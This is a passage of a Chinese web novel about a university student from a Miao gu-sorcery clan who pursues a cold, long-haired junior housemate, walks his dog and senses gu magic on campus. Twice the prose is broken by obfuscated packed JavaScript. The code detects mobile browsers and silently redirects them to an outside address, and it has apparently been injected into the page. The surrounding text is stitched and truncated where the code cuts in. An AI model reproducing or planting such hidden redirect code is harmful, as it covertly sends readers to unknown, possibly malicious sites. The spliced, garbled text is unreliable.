宁双后颈的这个胎记很漂亮,之前陆宇洋见过一次,记忆比较深刻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094708|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”宁双一个劲往后撇头。 陆宇洋叫他别动,用自己的手机拍了一张照片,然后两只“蝴蝶”就被摆在一起作比较了。 宁双研究了一会儿:“哪里一样?” 陆宇洋提醒:“轮廓啊!你没看出来吗?” 宁双凑得更近了,眼睛都快黏上屏幕了。 一会儿后,他抬起脑袋,对上陆宇洋期待的眼睛,木木地摇了摇头:“没觉得。” “你真是!”陆宇洋不知道说他什么好,宁双却突然想了起来,“对了,今天我这里莫名其妙疼了起来,像被蚂蚁咬了一口,到现在都不太舒服,有点闷闷的,还有些烫,你帮我看一下是不是有被虫子咬的伤口?” 陆宇洋挺直腰去看,仔细看了看。 随后拿手戳了两下,问:“疼吗?” 宁双摇头。 陆宇洋:“我看着没什么问题,就是你这个胎记颜色深了一些,你要不去问问医生?” “那就等下次有时间再说吧。”宁双压根没把这件事放在心里,他躺回到了床上,“我得睡觉了,明天我很忙的。” 陆宇洋跟着躺回到床上,“你哪天不忙?” “那倒是。”宁双回忆了一遍自己过往的日程,没忍住笑了几声。 宁双关了房间的灯,一瞬间,房间就暗得伸手不见五指了。 身边陆宇洋突然道:“所以你要追他?” 宁双点头:“想。” 陆宇洋就开始出主意:“我记得你说你老家是研究巫蛊术的,我在网上看到过,你们是不是还可以做那种让人对下蛊之人爱得死去活来的蛊?你给他用吧,直接给你省麻烦了。” 宁双嗷了一声,“你说的是情蛊吧?其实我不太会做这一类的蛊,毕竟族里统一让学习蛊术的那几年,我真的有在认真玩。” “那你不会真的什么也没学会吧?”陆宇洋问。 宁双立马狡辩:“当然不是!我是会做情蛊,但我绝对不会给别人用,这多不道德啊!” “而且现在族长已经下通告禁止我们再养蛊用蛊了,一旦被抓到就完蛋了。” “居然还真有……我一直觉得这些都挺玄幻的,没想到就在我身边。”陆宇洋感慨。 宁双得意笑着:“那当然,自从禁蛊后我们村……不对,应该是我们苗疆一族就被允许自由外出了,所以除了我,说不定你身边还有别人会蛊术呢。” 陆宇洋继续好奇:“那有没有能让人期末考满分的蛊呢?” 宁双盯着天花板的眸珠晃了晃,想了会儿才回:“理论上是没有的,但是有提升记忆力,给人开智的蛊,稍加利用的话,学习成绩是不会太差的。” 陆宇洋:“你会给自己用吗?” 宁双摇头:“一般不会,我们苗疆的规矩就是用蛊人不能依赖蛊,其实蛊是很危险的东西,你知道吗?我们苗疆也有很多禁蛊,那是所有族人都禁止接触的存在,只有我们族长和他的继承人才能接触到,而且只是接触到,因为就算是他们也不能去学的。” 如果不是因为认识了宁双,陆宇洋也不会知道,这个世界上竟然真的存在这些小说里才会出现的东西。 “偷学了会怎么样?” 宁双打开手机,抵在下巴,手机光从下至上照亮着宁双的脸,他翻身故意压低嗓音,吐出舌头恐吓陆宇洋:“会很可怕。” 当然,宁双这么说就代表着他也不知道。 陆宇洋被幼稚到了,白了宁双一眼:…… “我从小的梦想就是离开千宁村去外面看看,如果不是政策改变了,我这辈子都不可能离开那里,更别说来这里上大学,认识这么多朋友了。”宁双笑了两声后又说。 “那是好事啊。”陆宇洋察觉到了宁双话语间的庆幸,于是接话道。 “那当然。”这对宁双来说是好事,因为他并不喜欢那个循规循距,古老守旧,死气沉沉的村落,“不说了,我这次是真的要睡觉了。” “好吧。”陆宇洋闭上了眼。 一会儿后,身边的宁双突然开口:“对了,那天给你递情书的那个男生,你们发展得怎么样了啊?” 陆宇洋又白了他一眼:“不是说睡觉吗?” “我睡不着。”宁双支起身去推他。 …… 4. 遛狗 晨曦从窗帘缝隙斜斜地照了进来,落在了房间的床上,季淮之上前打开窗帘,阳光瞬间充盈了整间屋子,书桌上的水晶摆件折射出一枚枚金色的光斑。 光斑落在房间各个角落,像散落的星子,但仔细看会发现光斑的形状似蝴蝶。 季淮之凝着这些蝴蝶光斑,不动声色地拿一块黑色的布蒙住了挂件。 房间衣柜的门后贴着一面大镜子,季淮之走去衣柜前,照着镜子将有些散乱的发丝撩了一下,今日他换了套深色短袖,别在了长裤里,腰身匀长,露在外面的皮肤已经偏冷白了,整个人看上去没什么生气。 他弯腰从床头拿了一块手表戴在手腕上,正好遮住了手腕上的大半印记。 随后,他听见楼下传来了开门的声音。 宁双回来了。 楼下宁双喘着粗气进了屋,将手上的包和外套挂在了衣架上。 宁双穿着宽松的运动上衣,短裤将将遮住膝盖,露出了一双劲瘦匀称的小腿。 早晨空气中的湿露和他额角的薄汗混在了一起,顺着下颌淌下,黏着额间的浅发,眼睫毛被汗水打湿,眼睛格外明亮。 他抬头看了一眼,正好看见季淮之在往下走,他穿着深色短袖,长裤修身,长发扎得不紧,鬓边散落了不少发丝下来,随着他下楼的动作轻轻晃动着,眼神有些冷峻。 宁双眼睛一亮,主动抬手和他打了招呼:“季淮之!早上好。” 季淮之往楼下走时,早就看见吊儿郎当仰躺在沙发上玩游戏的陆宇洋,他只扫了一眼就收回了目光。 随即冷淡地应了宁双一声:“早。” 宁双被他冷淡的态度伤到了。 “晨跑回来了?我早饭呢?”陆宇洋把目光从手机屏幕上移开,看向了宁双。 宁双哦哦两声,“在这里。” 他从挂在衣架上的挎包里拿出他买的早餐,放在了餐桌上。 然后看向厨房的季淮之,深吸了几口气,鼓足勇气开口:“季淮之,我给你也带了早餐,你要一起吃吗?还是你打算自己做?” 季淮之端着水的手顿了一下,随即走出去到了宁双跟前,摸出一张纸巾,和水一起往前送了一些。 “嗯?”宁双有些惊喜,“给我的吗?” 季淮之:“嗯。” 看起来只是因为宁双对他多有关心,他自然而然的回馈而已。 “啊,谢谢你!”但宁双还是很开心,他双手接过水杯和纸巾,又大大方方邀请他说,“你和我们一起吃早饭吧,我也给你买了。” 季淮之看着宁双充满期待的眼睛,迟疑了几秒后轻声道:“抱歉,我需要去学校了。” “你今天有早八啊?”宁双差点忘了对方是小自己一届的学弟了。 “对。”季淮之颔首。 “好吧,那你现在出去还能赶上两分钟后的公交车,快去吧快去吧,别迟到了!”宁双有些惋惜。 季淮之又说:“好。” 宁双送他到门边,提醒:“记得带钥匙,有什么事可以微信联系我。” 他说完晃了晃手里的手机。 季淮之:“好。” 他的目光在宁双身上停顿了一下,然后就转身离开了,晨风鼓动着他的薄衬,长发也跟着舞,浑身散着清冷疏离的气息。 宁双捧着水杯,倚在门框边望着季淮之的背影,一直到对方完全消失在了视线里,宁双才恋恋不舍地收回目光,回到了餐桌前。 陆宇洋已经很自觉地开始吃早饭了,他喝了一口豆浆,“我以为你光看他就能饱呢。” 宁双哼了一声,坐到椅子上,立马开始给陆宇洋显摆他手里的水杯,“看到了吗?他给我倒了水,还拿纸巾给我擦了汗,说明什么?” “说明他很有礼貌。”陆宇洋咬了一口小笼包,如是评价。 宁双立马反驳他:“那就说明你没有礼貌。” 陆宇洋嗤笑一声,压根没把宁双的话往心里去,宁双趴在餐桌上,一副求贤若渴的神情看着他,说:“陆少爷,陆大哥,你有什么办法,给我支支招吧。” 陆宇洋用筷子另一端将宁双的脑袋抵开,“我没有当军师的爱好,而且我追人都是拿钱砸的,你需要我给你借钱吗?不算你利息。” “呃……”宁双沉默了两秒,突然憋出了一个词,“渣男。” 话音刚落,玄关突然传来了敲门的声音,陆宇洋刚要骂他的话被咽回了肚,宁双赶紧起身去开门。 晨风微凉,眼前的人长发被风吹得有些乱了。 宁双看清敲门的人后,澄澈的杏眼一亮,立马激动问道:“季淮之,你怎么回来了?是有什么东西忘带了吗?” 季淮之看着宁双额头上面因为擦汗留下的纸巾碎屑。 “你额头……”他出声提醒。 宁双有些困惑,抬手在额间摸了摸,看见手中的碎屑后,他立马感激地看向了季淮之。 “谢谢你!”道谢的声音更是铿锵有力。 “不用谢。”季淮之看着宁双的眼睛回,然后又回答了宁双刚刚的问题,“通知说早上第一节课取消了,所以我回来了。” “这样啊。”宁双无所疑,他也很高兴季淮之又回来了,“那你先进来吧,早饭都还是热的,我们一起吃吧。” 宁双高高兴兴地把人请进了屋。 季淮之坐到了宁双位置旁边的那个空位置。 身后的宁双犹豫了一下,绕过餐桌坐到了陆宇洋身边,这点基本的距离感他还是知道保持的。 季淮之看着身边的空座,又看了宁双一眼,眼底流露出了一抹异样的情绪。 宁双压根没注意到他的视线,还热情地起身将没拆过的豆浆和一屉小笼包放到了季淮之手边,“这是酱肉馅的,你不吃的话就和我换换,这里还有猪肉玉米的。” 季淮之并不挑食,对于宁双给自己的东西也欣然接受:“还好,我吃的。” 他吃饭很文静,席间没说一句话,甚至没制造出一点杂音,受他的影响,宁双和陆宇洋之后也没再说一句话。 陆宇洋吃完早饭就离开了。 宁双上午第一节没课,学生会也没有事情要他忙,所以把陆宇洋送走后,宁双就回房间换衣服准备出去遛狗,出来他发现季淮之正坐在楼下沙发上,膝盖上摊着一本书,宁敦敦此刻也老老实实蹲在狗笼里,罕见地没有出来打扰别人。 宁双有些意外,毕竟宁敦敦是一只很热情的狗,他刚刚换衣服的时候还担心宁敦敦吓到季淮之。 现在看来却是宁双多想了。 他静静盯着楼下的季淮之看了几秒。 突然捂住心脏感慨,好帅。 或许是察觉到了宁双的视线,看书的人突然抬起头,和楼上过道边的宁双对视了上,宁双尴尬得目光四处闪躲,同手同脚地下了楼。 宁双走下楼坐到了季淮之对面,回头去唤宁敦敦:“敦敦,到这里来。” 宁敦敦张开嘴,吐着长舌头蹲到了宁双身边,难得没有往宁双身上扑,他非常欣慰地摸了摸它的脑袋。 季淮之抬眼看着宁双摸狗的手,那只手的手指骨节很长,指甲修剪得很圆润,骨肉分布也很匀称,是一双格外有力量的手。 他看了会儿,突然主动开口问:“它叫敦敦吗?” 宁双赶紧接话:“对!它跟我姓,叫宁敦敦。” “是大一我在菜市场捡到的,特别特别活泼,也很亲人,但是在你面前却很安静,可能它也知道对帅哥要矜持。”宁双笑着调侃。 季淮之长睫慢慢垂下,眼底掩出一抹阴霾,轻轻说:“它可能不喜欢我。” 瞧瞧这可怜样,宁双心疼得立马出声反驳:“怎么会!敦敦偶尔也会很安静的!你这么好看,怎么可能不会招喜欢?” 季淮之搭在膝盖上的手微微蜷紧,抬睫看着宁双,素来绷直的唇提起了一抹浅浅的弧度。 “我可以摸一下吗?”他问。 宁双点头,让开了手说:“可以,它不咬人的。” 季淮之弯下腰,手刚伸出来,宁敦敦就主动走到了他脚边,宁双看见赶紧说:“你看,它还是很喜欢你的。” “你还可以让它和你握手。” 季淮之摸了摸宁敦敦的头,按宁双说的,命令道:“握手,宁敦敦。” 他说话的声线没什么起伏,偏偏宁双在其中听出了一丝性感,他抬起眼,就瞧见季淮之鬓边散下的长发,因为低着头,宁双能看到他又长又直的睫毛,鼻梁也很高挺,仅仅是坐在那里,就像一幅画。 宁敦敦抬起前爪,但季淮之没有伸手去握,他又命令说:“蹲下。” 这一声性感磁性的嗓音钻进宁双耳朵,他膝盖一软,差点顺着沙发滑下去和宁墩墩一起蹲在地上了。 季淮之像是感应到了什么,抬头看他。 宁双赶紧干咳一声别开了眼,手撑着沙发往上坐了一些,然后岔开话题问:“你今天上午没课了吗?” 季淮之想了一下才说:“可以没课。” “啊?”宁双没明白。 季淮之却反问他:“你有课吗?” “嗯,我上午有一节,下午也有。”宁双如实回答。 季淮之这才说:“我 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季淮之睫毛抬起,想了一下才答应:“好。” 啊?就,就答应了? 宁双脸上闪过了一丝惊诧的神色,随后轻咳一声,让脸色平复了下来,“好!我带你去附近的公园转转吧,以后你一个人也可以去那里散步。” 现在还是清晨,吹在身上风冰冰凉凉的,空气中浮着清晨的湿气。 宁双牵着狗,和季淮之并着肩走,两个人都很安静,周围更多的是遛狗的大爷大妈,树叶被风吹得簌簌作响,打着卷地往下落。 宁双主动挑起话题:“季淮之,你平时有什么爱好吗?” “没有。”季淮之说完又偏头看着宁双问,“你呢?” “我的话,喜欢玩一些Steam游戏,会去游泳和打羽毛球,我还参加了学校的羽毛球社团呢!”宁双乐此不疲地分享着自己的爱好。 季淮之侧耳倾听着,没有出声打扰他。 “以后有时间我可以带你去我的社团看看,他们都是很好的人。”宁双的话是在试探,连带着尾音都带着试探的气调。 季淮之嗓音温润:“可以。” 他并没有拒绝。 此刻宁双就有一些飘飘然了,不过他没有得寸进尺提更多的请求,因为他还有一个优点就是知足。 知足才能常乐。 宁双看出宁敦敦想去一边草丛上撒欢,就主动松开了它的牵引绳。 宁敦敦嗖的一下窜到了草坪上。 两人便一起坐到了草坪中间的长椅上,头顶的参天大树树叶被风吹得哗哗响动,晨曦被树隙切成了一片片斑驳的金色光影,落在了两人脸上。 宁敦敦在他们脚边转着圈地咬自己的绳子,宁双被它逗乐了,忍不住道:“笨狗。” 它很亲宁双,但在这里玩了这么久,它也只是亲近宁双,并没有靠近季淮之一点,只有季淮之主动和它互动,它才会靠近季淮之。 宁双并没有多想,只是单纯觉得是因为季淮之这个人气场太冷淡,连宁敦敦这只热情小狗都看出来他不好讨好了。 此后季淮之和宁双之间就几乎没什么对话了。 宁双感觉季淮之的态度很怪,他甚至没懂,季淮之分明不喜欢外出,却还是和自己出来遛宁敦敦了。 他想起来是自己邀请在先,季淮之才同意出来的,季淮之怕不是不好意思拒绝人的请求? 现在也只有这种说法才说得通了。 他心里想着事,就没注意到身后传来自行车按铃的声音。 季淮之看着宁双发呆走神的模样,便伸手抓住他的小臂,带着他和自己往路边退了一些。 “小心些。”季淮之出声提醒。 宁双撞到了他的身上,自行车也和宁双擦边而过。 如初雪覆盖的檀木冷香钻进了宁双鼻腔,他抬头看向了季淮之,风将对方的长发带起来,发丝从宁双脸上拂过,挠得人心痒痒。 “抱歉,我刚刚在想事情。”宁双站稳后,赶紧后退半步和季淮之拉开了距离。 季淮之的手格外冰,宁双感觉自己手腕处的血管都被冻住了。 “在想什么?”其实季淮之并不像是喜欢和别人搭话的人,因为他看起来就冷淡话少,被季淮之这么主动一问,宁双还有些错愕。 但他当然不能说自己在想什么了,于是目光一闪,随意扯了个谎。 季淮之没说话,目光从宁双脸上留恋过,此后就再没说一句话了。 5. 古怪 回去后,宁双给宁敦敦装好狗粮,把门窗关好后就和季淮之一起去学校了。 季淮之长着一张惹人注目的脸,宁双和他走在一起,也被那些目光盯得极不自在,所以两人刚走进校门,宁双就找借口打算先离开了。 “对了,晚上我回家比较晚,你有事可以给我发消息。”宁双说完从口袋里摸出学生会执勤的工作牌戴到了脖子上,然后边跑边回头对季淮之叮嘱。 风把他额前的头发吹起来,乱糟糟的,他笑着,眼睛弯成了月牙的形状,颊边荡开两个对称的梨涡,整个人看上去就像会发光,发热的太阳。 季淮之没有应声,只站在原地静静凝着宁双的背影,直到对方完全消失在了他的视线里,他才抬手拢了一下耳边的碎发,抬脚朝废弃实验大楼的方向走了去。 季淮之冷着一张脸,对周围的目光完全是视而不见的态度。 所以那些人也只是远远看着他,几乎没有人上前去与他搭话。 —— 宁双去学生会开了个临时会议,临近第二节上课才匆匆赶去教室。 他从后门钻进去,远远就看见陆宇洋给他占了座。 宁双猫着腰坐到了空位上。 他还没坐稳,陆宇洋就歪着个脑袋凑过来,压低声音八卦:“你和你那小学弟怎么样了?” “尴尬。”宁双摸了摸鼻子说。 陆宇洋压着笑,“尴尬?所以我走后你们干什么了?” 宁双如实说:“遛狗。” 陆宇洋:“你去遛狗,他陪着你,那你这不是有戏吗?总不能是他对宁敦敦有什么好感吧?” 宁双解释:“是我问他去不去,他才去的,他肯定是不好意思拒绝我,而且从遛完狗回家,到一起来学校,我都没看他笑过,他就一直这么板着个脸。” “还一起回学校了?” 宁双点头:“对啊,不过到学校门口我就和他分开了,你不知道,就从公交车站到学校那段距离,有多少人盯着他看。” 陆宇洋一脸恨铁不成钢:“活该你单身,那么多人盯着看,你不知道和他多走一段?就算你和他不是恋人,也能让别人知道你俩关系不一般,没准你还能少几个情敌。” “对哦!”被陆宇洋这么一点醒,宁双的声音一下就激动了。 陆宇洋赶紧埋下脑袋,不动声色拉开了自己和宁双的距离,讲桌上的老师生气地推了推眼睛,看清说话的人是宁双以后,他才收起愠意,轻轻敲了敲桌面,友善提醒:“宁双同学,上课不要说小话。” “哦哦,好的,不好意思老师。”宁双摸着脑袋,连连致歉。 老师这才收回目光,继续讲起了课本知识。 “我没想到啊,陆宇洋,那现在我该怎么办啊?”宁双也埋下脑袋,挤到了陆宇洋身边,用气声悄悄说。 陆宇洋将书立起来,挡住了自己的脸,“凉拌呗。” “那我明天和他一起来学校吧。”宁双并没有气馁。 陆宇洋一针见血道:“你想和他一起来学校,他就愿意和你一起来了?” “有道理啊……”宁双摸着下巴,一脸的悔恨,“唉。” “算了,往好处想,你不是有近水楼台的优势吗?”陆宇洋并不想打击宁双,看见他一脸沮丧,还是出声安慰了宁双一句。 但是在陆宇洋看来,宁双这样的愣头青,对方要是个会玩的,不得把宁双当狗玩? 宁双和季淮之认识不过才一天,对方到底是个什么样的人,他们都还不不清楚,所以陆宇洋又补充说:“但是你也不要表现得对他太喜欢、太关注了。” “为什么?我喜欢他,难道不应该无时无刻关注他吗?”宁双不解。 和这“直男”说不清楚!陆宇洋深吸一口气,解释:“你就想,如果有人喜欢你,然后无时无刻缠着你,吃饭,上学,放学,睡觉什么的都关注你,你怎么想?” 宁双脑瓜子一转,“烦。” “这不就对了,所以你要矜持,不要摆出很容易被拿捏的样子,来和我一起念,不要做男人的狗。”陆宇洋说。 宁双跟着说:“不要做男人的狗。” 陆宇洋往后一靠,“孺子可教也,你现在懂了就行。” 老实说,宁双其实没太懂,他只是喜欢季淮之,怎么就扯到做不做狗上面去了。 想了想,宁双还是没有问陆宇洋。 这节课很快就过去了。 下课后陆宇洋就不知道踪迹了,宁双和学生会的朋友一起去食堂解决了午饭。 早上学生会开会说新生在下周一军训,宁双今天中午要去八号楼清点军训服的数量。 八号楼是距离教学楼最远的一栋楼,是专门拿来堆放杂物的,和那栋废弃的实验大楼离得很近。 宁双和朋友本来打算一起抄近路去八号楼的,但走到了岔路口前才发现小路前面竟然放着警示牌,入口也被拦起来了。 昨天分明还能走的。 “怎么封起来了?”宁双困惑。 和他同行的好友赵微凉推了推黑框眼镜,“你不知道吗?” 宁双侧首看他:“怎么了?” “今天早上学校论坛有一个匿名帖子,又在传上学期的那个谣言了。”赵微凉长得很清瘦,身板端正,偏偏说话的时候还带着一股骇人的音调。 宁双后背一凉,顿时感觉那竹林里有人在盯着自己看,“不能吧,校方不是辟谣了?” 他刚说完话,赵微凉就已经打开手机相册,翻出两张照片送到他跟前了。 宁双凑过去看。 “影响那么大,肯定是先辟谣啊,至于真的去调查了没有,谁知道呢?”赵微凉耸了耸肩。 两张照片,一张是赵微凉说的匿名贴截图,帖子内容直截了当地说实验楼的守护神实现了他的愿望,另一张是帖子附带的图片,照片很明显是在深夜拍的,周围是黑漆漆的一片,唯独实验大楼的地上透着幽蓝色的光。 宁双的目光在那些光上面停留了一会儿。 他莫名觉得这种光眼熟。 “学校没查到发帖人?”宁双收回目光问,全然一副事不关己的模样,毕竟这是学校的事情,和他没关系。 “删帖了,IP挂了国外的梯子,不然我为什么只给你看截图?”赵微凉把手机息屏装回了口袋。 宁双打了一个哈欠,眼角挤出泪花,他加快了脚步,说:“反正我不信这些。” “我也不信,我是坚定的无神论者。”赵微凉追上了宁双的脚步。 他们并肩走在路上,宁双正和赵微凉商量着学生会的工作,肩膀却突然被走来的人狠狠地撞了一下,宁双一时没稳住脚,往前踉跄了好几步,赵微凉赶紧抓住了他的手。 两人同时看向了身侧撞到宁双的人。 那是一个身材干瘦,精神萎靡的男生,头发长得盖住了眉眼,看上去格外阴郁。 “抱歉,抱歉,对不起,对不起……”男生一连说了好多声对不起,然后就蹲下去捡地上掉落的书本。 宁双笑着去回他:“没关系的!” 说完他也蹲下去帮男生捡书,蹲下去靠近的男生瞬间,宁双兀地闻到了一股很奇异的香味。 说这种香味奇异,是因为宁双刚闻见的时候就有一种不舒服的感觉,但缓过来后,他就只觉得这种味道熟悉,捡书本的这几秒,宁双也在悄悄辨认这种香究竟是什么。 直到男生接过他递出去的书本,走了很远的距离了,宁双才突然顿住脚步回头看了去。 蛊。 是蛊。 错不了。 宁双本该第一时间就辨认出来的,只是在外生活久了,他早就下意识觉得这里和村里是不一样的地方,所以一时半会儿没反应过来,但是政策改变,所有人都能自由出入村子了,宁双能在这里,他们自然也能出现在这里。 所以那个人是蛊师?还是招惹上了蛊师呢…… “宁双?你怎么了?”见宁双站在原地发呆,赵微凉抬手在他眼前晃了晃。 宁双回过神,又打了一个哈欠,随便扯了一个谎:“没啥,我在想班助的事。” “分配表还没出来吧?你想带大一哪个班?”赵微凉问。 班助其实就是帮助大一辅导员管理班级的。 其作用就是在班级还没票选出班委的时候,在新生军训期间负责点名,陪训,以及各种领导工作,直到军训结束,期中考成绩出来后,班级学生通过荐选以及成绩排名,票选出了班委,班助的工作才算结束。 宁双作为学生会纪检部的副部长,更是要担当起责任了。 赵微凉不问还好,一问宁双就突然想起来了。 之前宁双是觉得会长给他分配哪个班,他就去哪个班,但现在他认识了季淮之,私心当然是更想去商学一班了。 但他也不能表现得太明显,不然还会被赵微凉看出来。 “随便吧,我不挑。”宁双说。 赵微凉:“还是你省心,你不知道,这次有好几个人去找会长,都想要去商学一班当班助。” ‘商学一班’这四个字仿佛就是触发宁双注意力的关键词,赵微凉话音刚落,他就立马追问:“啥意思啊?” “你还不知道吧?这一届新生里面,有一个很帅的学弟,就在商学一班。” 宁双当然知道啊! 岂止知道,他还打算追那个学弟呢! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15094710|163702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不可以不可以,商学一班的班助他当定了! 有些人脸上看起来毫无波澜,其实心里早就在想怎么和会长措词申请一班班助了。 “你怎么又不说话了?” 宁双干咳一声,“我是在想那个学弟有多帅,我没看见过。” 赵微凉惊讶:“你不刷论坛啊?捞他的帖子有好几个了呢!” 赵微凉说着又拿出手机,翻到论坛,搂过宁双的肩膀,将几个捞人的帖子翻给了他看。 真的,其实他也没有那么想知道…… —— 午后的阳光格外毒辣。 大一新生所有的军训服都是他们几个清点,忙起来连喝水都顾不上,结束后第一节课都快下课了。 宁双一会儿有课,就没有在这里待太久。 从河面拂过来的风吹在脸上黏糊糊的,宁双边走路边给学生会会长沈清晖编辑消息。 【会长,你下午有时间吗?我想请你喝杯咖啡】 其实宁双和沈清晖关系还算不错,因为宁双性格好,脑袋聪明,点子多,和人沟通效率高,加上他本来也勤快肯干,所以很多能拿好处的事情,沈清晖都会跳过宁双职位之上的人,让宁双去做。 所以就算宁双直接给对方发消息说自己想去担任商学一班班助,沈清晖多半也会同意的。 只是宁双自己觉得,出于对沈清晖的尊重和一班班助的负责,那他该有的申请流程就必须要有,故才想请沈清晖喝咖啡,顺便把申请表递给他。 和沈清晖谈妥后,宁双也磨蹭到了教室,刚好第一节课下课,走廊有很多下课和来上课的学生。 夏日的暑气蒸得所有人身上直冒汗,走廊的空气混杂着各种各样的味道,不甚好闻。 宁双穿梭在人群中,一个擦肩而过的人,在宁双鼻尖留下了一道怪异的香味。 又是蛊。 宁双赶紧回头,但人太多了,他根本辨别不出刚刚与他擦肩而过的人到底是谁。 奇怪了。 之前宁双在学校一年都没遇到一个苗疆的族人,这学期才将将过去不到一周,他就遇到了两个似乎是族人的人。 “宁双,你愣在这儿干嘛?不热啊!”宁双的肩膀突然被拍了一下,好友的声音也在耳边响了起来。 “小扬?”这还是这学期宁双第一次见许贺扬,两人不同班,只因为他们都是羽毛球社团的,一来二去,两人就熟悉成为朋友了。 许贺扬一摸鼻子:“这么惊讶干嘛?你是来上选修的吧?” 宁双点头:“你不会也是吧?” “我不是,嘿嘿,我刚下课,你快去上课吧。”许贺扬说,“对了,你记得找找选修班里有没有你认识的人,不然你找不到组员,老师就会随机给你找个队友一起完成小组作业,遇到负责的还好,遇到不负责的就倒霉了。” “好,回头我注意一下。”宁双其实对小组作业的队友没什么要求,只要队友不给他添乱,不追求特别完美,他一般都会独立完成作业,然后挂上组员的名字。 因为上课还有几分钟,宁双也没急着回教室,两人走到栏杆边说话,给过路的人让出了空间。 没说两句,宁双余光突然瞥见人群中走过了一个眼熟的人。 且不说对方少见的身高,单是出挑的清冷气质就足够让人注意到他了。 季淮之!! 宁双赶紧和许贺扬道别,然后拨开人群就去追季淮之。 “季淮之,季淮之。”宁双小声喊着。 季淮之好似没听见,宁双赶紧加快脚步,嘴里还喊着他的名字。 “季淮之!”他声音变大了一些,这次话音刚落,前方的人就停住了脚步,宁双来不及刹车,直挺挺地撞上了他的后背。 季淮之踉跄了一下,转过身,看着宁双捂着额头呲牙咧嘴的可爱模样,他冰凉的眸珠注入了几分温和。 冒冒失失的样子还和以前一模一样。 “不好意思呀季淮之,我真的不是故意的。”宁双捂着额头,一脸歉意地看着他。 季淮之摇头,语气都不自觉地放轻了:“没关系,我没有事。” 宁双嘿嘿一笑,把手拿了下去,他那光洁的额间留着一抹浅红,头发也跑得乱糟糟的。 “你怎么在这里啊?你是来上课的吗?”宁双问。 季淮之想了想,点头:“是。” 宁双得到答案就已经很激动了,他试探着问:“你……是不是来上张教授的课啊?” “嗯。” “太好了!”得到期望中的答案的宁双一时得意忘形,差点暴露本性,他赶紧咳嗽一声以饰失态,“那真巧啊,我也是,我们一起去教室吧。” 6. 班助 这节选修课是植物学,宁双抢这节课纯粹是因为这门课的教授期末不严格,而且因为课题特殊,她还会带领学生到她的私人植物园去参观。 宁双向来喜欢凑热闹,肯定不会放过这样的机会。 一走进教室,教室里空调的寒气瞬间驱散了罩在宁双身上的热气,教室很凉快,同学们陆陆续续落了座,宁双带着季淮之坐去了靠后的座位。 “季淮之,你为什么会选这门课啊?”宁双声音压得特别低,他一只手臂横在桌上,歪着脑袋压在臂弯上面,眼底充满了好奇。 季淮之对上他的目光,下意识敛眸,“随便抢的。” 宁双羡慕道:“那你运气太好了吧!张教授的课特别难抢,我大一的时候就没抢到,还好大二圆梦了。” 不待季淮之说话,宁双又追着问:“你一会儿还有课吗?上完课是不是就要回家了?” 张教授的课并不严格,何况现在电子白板上正在播放关于植物的视频,宁双才会这样放心大胆地和季淮之聊天。 季淮之想了想才回话:“没有课了,但是还有事情。” “哦哦。”不管对方是去做什么事情,宁双都没有权利过问了,所以他点到为止,不再说话,抬头看向了黑板。 只是宁双没想到,季淮之会突然反问起自己,他问:“你呢?” 宁双赶紧回话:“我也没课了,但是我得去学生会忙一会儿,应该不会很晚回家。” 季淮之轻轻应了一声:“好。” 宁双突然又想起了什么,便挨近了季淮之一些说:“对了,我们初见的地方,就是那个废弃的实验大楼那里,我不知道昨天你怎么会在那里,但是你这些天先不要去了,那里好像有点危险。” 季淮之或许是不知情地就去了那里,宁双又多多少少觉得那个谣言不是凭空而来的,所以还是决定友善提醒一下季淮之。 季淮之:“什么危险?” 宁双皱着眉,不知道怎么解释:“就是一个很莫名其妙的谣言,我也不知道怎么说,反正你最好不要去,万一真的有危险呢?” 季淮之搭在膝盖上的手慢慢蜷紧,点了下头。 视频结束,张教授打开了教学PPT,界面出现三个大字,“植物学”。 两人都看向了黑板,宁双趁机悄悄观察了一下季淮之,虽说季淮之平日里好像不爱笑,但对方心情好的时候,他却能够感受出来呢。 课上到一半,张教授把课件翻到了期末得分构成的那一页。 期末只占20%,平时分占了大头。 估计最后还是小组作业的得分占得多。 果不其然,教授下一秒就提到了小组作业的事。 “小组作业是两人一组,你们如果有认识的搭档彼此组队的话,就可以先来老师这里登记,剩下的同学老师会随意分组。”张教授拿出花名册,站在了讲座一旁,“等你们小组分配好了,我再说这一周的作业。” 宁双等这一刻已经很久了,教授话音刚落,他就歪着脑袋小声对季淮之说:“季淮之,我们一组吧!” “当然我没有别的意思,你看,这个班上我就只认识你,小组作业还要经常讨论,我们又是住在一个家里的,所以讨论什么的也很方便。”宁双后面又补了一段解释,是想让季淮之不要误会。 宁双的解释很合理,何况这个班里也没有其他季淮之认识的人,和宁双组队肯定是最合适的,季淮之果然也没有拒绝,说了句好。 分配小组没有用太长时间,布置完小组作业后,教授就让他们上自习了。 课题是拍摄身边的蕨类植物,并且查询其学名,做成PPT下周上课的时候交上。 宁双用手机搜了一些相关资料,想了好一会儿才记起在他们家附近有一个森林公园,周末有时间的话他和季淮之可以一起去看看,带上他做的点心,再把陆宇洋的相机借用一下…… 太完美了,他们这和约会有什么区别? 宁双趴在桌面上,侧着脸枕在手臂上,静静地打量着季淮之的侧颜。 季淮之鬓侧的长发别在了耳后,窗外吹进来的风撩动着他的头发,因为低着头,额间碎发盖住了他的眉眼,鼻梁骨很高,睫毛又直又长,宁双总觉得他眉宇间透着一抹浓得化不开的阴郁。 突然,宁双的眼神定在了季淮之的耳垂上。 那上面赫然留着一个孔洞。 